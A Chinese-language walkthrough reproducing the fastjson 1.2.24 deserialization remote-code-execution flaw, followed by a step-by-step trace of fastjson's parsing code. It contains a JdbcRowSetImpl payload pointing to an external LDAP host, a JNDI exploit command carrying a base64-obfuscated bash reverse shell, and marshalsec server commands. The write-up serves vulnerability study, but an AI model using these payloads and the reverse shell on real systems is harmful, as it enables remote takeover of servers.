{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true}
测试执行

DNS解析记录

利用JNDI工具进行注入
复现流程
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5My4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.193.130"
这里的-A指向的参数是攻击机的IP地址,即我们的JNDI服务端的IP地址

将上述生代的各协议地址去替换POC中的地址

目标机器开启监听

反弹结果如下

成功进入容器
代码
引入依赖

新建一个恶意类

使用命令 javac Exploit.java生成Exploit.class

对恶意的class文件所在的目录开启一个http服务

利用Java反序列化测试包执行如下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 9999

测试fastjson反序列化
public class TestFastJson {public static void main(String[] args) {String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}" ;//JSONObject.parseObject(payload);JSON.parse(payload);}
}

代码分析

跟进parseObject方法

进入parse方法

再次进入parse方法

先判空处理

然后进入DefaultJSONParser方法

继续跟

在DefaultJSONParser方法中:主要是用来判断是以是什么方式开始,默认是以’{'开始,并且设置token为12

执行完DefaultJSONParser之后,进入parser.parse()

跟进这里的parse方法

这里根据token为12,然后case跳转至:

进入parseObject方法

这里会通过默认的"{"来获取到第一个参数也就是@type

到这里的时候就回去判断key是不是@type,如果是@type就回去进行检测并且去反序列化类

然后就会到TypeUtils.loadClass

注意在这里会判断开始是不是以'['开头

接着会检查是不是以'L'开头

接着就会删除"L" ,然后继续走loadCLass,会利用类加载器去加载我们指定的类

TypeUtils.loadClass执行结束之后,最后到getDeserializer

然后到deserializer.deserialze反序列化

接着进入之后,主要反序列化的位置在
fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class


跟进parseField

然后这里非常重要的就是有一个smartMatch,这个smartMatch会进行一个通用匹配,可以匹配_开始以及-开始的变量:这个对另外一个调用链有用。

进入smartMatch方法之后

可以匹配_开始以及-开始的变量

接着会去调用setValue

从而触发set方法

为field字段设置值,原理就是利用那个类加载器反射创建的类,进行反序列化获取字段,在调用setvalue去设置值
链路如下:parse触发--》parseObject--》TypeUtils.loadClass--》deserialze(类)--》parseField(解析字段)--》smartMeth(设置字段值)
各版本通用的POC参考:FastJson各版本通杀POC · 语雀